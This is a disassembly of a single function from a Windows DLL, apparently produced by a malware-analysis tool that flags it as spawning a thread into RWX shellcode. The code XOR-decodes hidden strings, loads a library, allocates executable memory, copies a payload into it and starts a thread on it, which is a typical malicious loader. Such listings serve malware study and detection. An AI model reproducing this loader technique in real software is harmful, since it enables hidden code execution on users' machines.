Function at 0x1800031dc
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x328]
sub rsp, 0x410
mov rax, qword [0x18003a080]
xor rax, rsp
mov qword [rbp + 0x300], rax
mov ecx, dword [0x18003bdf4]
mov rax, qword gs:[0x58]
mov r8d, 4
mov rdx, qword [rax + rcx*8]
or rbx, 0xffffffffffffffff
movabs rsi, 0xfe484f94bf8c4ae3
movabs rdi, 0x2738ec97404c189a
movabs r15, 0xffc4e209713741e8
movabs r12, 0x220e582a331e4cfd
mov eax, dword [r8 + rdx]
cmp dword [0x18003caf0], eax
jle 0x180002dc9
lea rcx, [0x18003caf0]
call fcn.1800082a0
cmp dword [0x18003caf0], ebx
jne 0x180002dc9
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], rdi
movabs rax, 0xfe264fe6bfe94a88
mov qword [rsp + 0x30], rax
movabs rax, 0xfff6e23a715b418d
mov qword [rsp + 0x38], rax
movabs rax, 0x22625846337a4cd3
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdi
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x70], xmm0
pxor xmm1, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x80], xmm1
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x18003cb00], rax
lea rcx, [0x18003caf0]
call fcn.180008240
xor r14d, r14d
cmp qword [0x18003cb00], r14
jne 0x180002ddd
or eax, 0xffffffff
jmp 0x18000317a
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xf0]
call fcn.18000aa20
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
mov rcx, qword [0x18003cae8]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0xf0]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x180002e26
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call fcn.180005ed0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.180002ad8
nop
lea rcx, [rsp + 0x50]
call fcn.1800054f4
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], rdi
movabs rax, 0x97291de6def819bf
mov qword [rbp + 0xb0], rax
movabs rax, 0x9ea0cc6c02560384
mov qword [rbp + 0xb8], rax
movabs rax, 0x220e582a331e4c89
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdi
movups xmm0, xmmword [rbp + 0xb0]
movups xmm1, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rsp + 0x70], xmm0
pxor xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp - 0x80], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rsp + 0x70]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x180002ef0
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1800061b0
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
lea rcx, [rbp - 0x70]
call fcn.1800055d0
nop
mov r15d, 0x1000
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180002f6b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x180002f66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800031b0
call fcn.180008140
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x50]
call fcn.18000aa20
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.180002774
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.180003eac
mov r9d, 4
mov r12d, 0x3000
mov r8d, r12d
mov rdx, qword [rax + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180002fef
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x180002fea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800031b6
call fcn.180008140
movdqa xmm0, xmmword [0x180034950]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r14b
test rbx, rbx
je 0x180003126
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.180003eac
mov rdi, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp - 0x50]
call fcn.180003eac
cmp qword [rax + 0x18], 0x10
jb 0x180003036
mov rax, qword [rax]
mov r8, qword [rdi + 0x10]
mov rdx, rax
mov rcx, rbx
call fcn.18000a370
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x180003082
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, r15
jb 0x18000307d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800031bc
call fcn.180008140
movdqa xmm0, xmmword [0x180034950]
movdqu xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xd0], r14b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1800030d1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x1800030cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800031c2
call fcn.180008140
cmp dword [rbx], 0xa
jb 0x180003126
mov esi, dword [rbx]
mov r9d, 0x40
mov r8d, r12d
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180003126
lea rdx, [rbx + 4]
mov r8d, esi
mov rcx, rax
call fcn.18000a370
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x48]
call fcn.180003f88
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x48]
call fcn.18000787c
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180003178
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r15
jb 0x180003173
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800031aa
call fcn.180008140
xor eax, eax
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.180008120
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180010834
nop
call fcn.180010834
nop
call fcn.180010834
nop
call fcn.180010834
nop
call fcn.180010834
int3
jmp 0x180002c94